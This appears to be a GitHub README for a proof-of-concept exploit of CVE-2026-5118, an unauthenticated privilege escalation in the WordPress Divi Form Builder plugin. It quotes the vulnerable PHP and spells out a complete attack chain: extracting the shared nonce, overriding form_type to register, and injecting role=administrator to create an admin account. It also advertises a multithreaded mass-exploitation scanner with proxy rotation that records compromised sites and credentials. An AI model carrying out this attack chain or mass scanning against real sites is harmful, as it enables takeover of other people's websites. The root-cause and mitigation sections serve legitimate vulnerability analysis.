1beelze/CVE-2026-5118
GitHub: 1beelze/CVE-2026-5118
针对 WordPress Divi Form Builder 插件未授权权限提升漏洞(CVE-2026-5118)的 PoC 利用工具,支持单目标与批量漏洞验证。
Stars: 0 | Forks: 0
CVE-2026-5118 — Divi Form Builder ≤ 5.1.2
通过 Role Injection 实现的未授权 Privilege Escalation
=== Beelze ( zeroday 1diot9 ) ===
| 字段 | 详情 |
|-------|---------|
| **CVE ID** | CVE-2026-5118 |
| **CVSS Score** | 9.8 (Critical) |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-269 — 不当的权限管理 |
| **Plugin** | Divi Form Builder (由 Divi Engine 开发) |
| **受影响版本** | 所有 ≤ 5.1.2 的版本 |
| **已修复版本** | 5.1.3 (2026年4月13日) |
| **发布日期** | 2026年5月20日 |
| **研究员** | 0xd4rk5id3 — EnvoraSec |
| **PoC** | Beelze ( zeroday 1diot9 ) |
## 🔍 描述
适用于 WordPress 的 **Divi Form Builder** 插件在所有版本(包括 **5.1.2**)中存在 **未授权 Privilege Escalation** 漏洞。
`FormSubmissionHandler.php` 内部的 `create_user()` 函数在用户注册期间接收来自 POST 数据中用户可控的 `role` 参数,**而没有根据表单配置的 `default_user_role` 设置对其进行验证**。唯一的“保护”措施是 `sanitize_text_field()` —— 它会剥离 HTML 标签和编码,但对于将值限制在安全角色范围内**毫无作用** —— 随后是一个存在性检查,它仅仅验证了该角色在 WordPress 中是否存在(而 `administrator` 始终存在)。
这种三重失败使得未经身份验证的攻击者能够:
1. 找到 **任意** 包含 Divi Form Builder 表单的页面(联系、报价、简报 —— 无论哪种都可以)
2. 从 `de_fb_obj` JavaScript 对象中提取 **全局共享 nonce** (`fb_nonce`)
3. 通过 POST 将 `form_type` 覆盖为 `register` —— 将任意表单转变为注册 endpoint
4. 将 `role=administrator` 注入到 AJAX 提交中
5. 使用攻击者控制的凭据创建一个 **完整的管理员账户**
## 🧬 根本原因分析
### 1. 来自 POST 数据的未净化 Role 接收
```
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← ONLY strips tags/encoding!
: 'subscriber'; // ← 'administrator' passes CLEAN
```
`sanitize_text_field()` 专为自由文本净化(防止 XSS)而设计。它**不会**根据安全角色的白名单进行验证。字符串 `"administrator"` 不包含任何 HTML 标签,也没有特殊编码 —— 它会完全不受影响地通过。
### 2. 仅存在性验证 —— 不是安全检查
```
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← fallback ONLY if role doesn't exist
}
```
这个检查的问题是:_"这个 role 在 WordPress 中是否存在?"_ —— 而 `administrator` **始终存在**。它从来没有问过正确的问题:_"这个 role 用于公开的自助注册安全吗?"_ 正确的检查应该根据类似 `['subscriber', 'contributor']` 的白名单进行验证,或者强制执行表单的 `default_user_role` 设置。
### 3. 没有 Capability Gate 的直接 Role 分配
```
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← attacker-controlled role applied directly!
```
没有 `current_user_can('create_users')` 检查。没有 `current_user_can('promote_users')` 检查。没有任何类型的能力验证。攻击者提供的 role 被直接传递给了 `set_role()`。
### 4. 全局共享 Nonce —— 在每个带有表单的页面上暴露
```
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← SAME nonce on ALL forms, ALL pages
// ...
]);
```
`fb_nonce` 是通过 `wp_create_nonce('security')` 创建的 —— 这是一个在站点上的每一个 DFB 表单之间共享的通用操作字符串。任何访问者都可以通过读取 `de_fb_obj` JavaScript 对象从页面源代码中提取它。
### 5. 表单类型覆盖 —— 任意表单都成为注册 Endpoint
```
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← triggered by POST override!
}
```
`form_type` 是从 POST 数据中读取的,而不是从服务器端的表单配置中读取的。攻击者可以向**任意** DFB AJAX 提交(联系表单、报价请求、简报注册)发送 `form_type=register`,服务器将会执行注册代码路径。表单原本的用途是无关紧要的。
## ⚔️ 攻击链
```
[Unauthenticated Attacker]
│
▼
GET /any-page-with-dfb-form/
← HTML source: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
Extract fb_nonce from de_fb_obj JavaScript object
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← INJECTED │
│ form_type = register ← OVERRIDDEN │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = attacker@evil.com │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ passes
wp_roles()->roles['administrator'] exists? → YES ✓ passes
$user->set_role('administrator') ✓ no capability check
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[Full Administrator Access] 🔥
```
## 🛠️ 工具
### `CVE-2026-5118.py` — 单目标 Exploit
完整的 5 阶段 exploit 链,带有自动表单发现和 nonce 提取功能。
```
python3 CVE-2026-5118.py
```
```
Target URL: https://target.com
Username [beelze_admin]:
Password [Beelze123!!@#!]:
Email [beelze@exploit.lab]:
Timeout (seconds) [15]:
SOCKS5 proxy (blank = none):
```
**Exploit 阶段:**
```
Phase 1 ▶ Reachability (HTTPS + HTTP fallback)
Phase 2 ▶ Plugin Detection (readme.txt version check)
Phase 3 ▶ Form Discovery & Nonce Extraction
├── REST API page scan
├── Common path probing
├── Sitemap crawl
└── Homepage link crawl
Phase 4 ▶ Role Injection (Privilege Escalation)
Phase 5 ▶ Admin Login Verification
```
**输出 (`scan_results/CVE-2026-5118_success.txt`):**
```
https://target.com | beelze_admin:Beelze123!!@#!
```
### `CVE-2026-5118-mass.py` — 批量扫描器
多线程批量漏洞利用,带有 JSONL 日志记录和恢复支持。
```
python3 CVE-2026-5118-mass.py
```
```
Target file (one URL per line): targets.txt
Username [beelze_admin]:
Password [Beelze123!!@#!]:
Email [beelze@exploit.lab]:
Threads [10]:
Timeout (seconds) [10]:
Proxy file (SOCKS5, one per line, blank = none):
Resume previous scan? (y/n) [n]:
```
**特性:**
- 具有可配置线程数的多线程扫描
- SOCKS5 代理轮换
- 用于程序化处理的 JSONL 输出
- 恢复支持 —— 跳过已扫描的目标
- 带有实时统计数据的富文本进度条
- 当 HTTPS 失败时自动回退到 HTTP
**输出 (`scan_results/CVE-2026-5118_success.txt`):**
```
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
```
## 🔒 缓解措施
- 将 Divi Form Builder 更新至 **5.1.3** 或更高版本
- 该补丁强制要求分配的 role 始终是服务器端表单 `default_user_role` 设置中配置的那个,并忽略 POST 数据中任何用户提供的 `role` 参数
**Beelze ( zeroday 1diot9 )** — 仅供教育和授权的安全研究使用
标签:Web安全, WordPress插件, 协议分析, 威胁模拟, 安全漏洞, 文件完整性监控, 无服务器架构, 权限提升, 蓝队分析, 逆向工具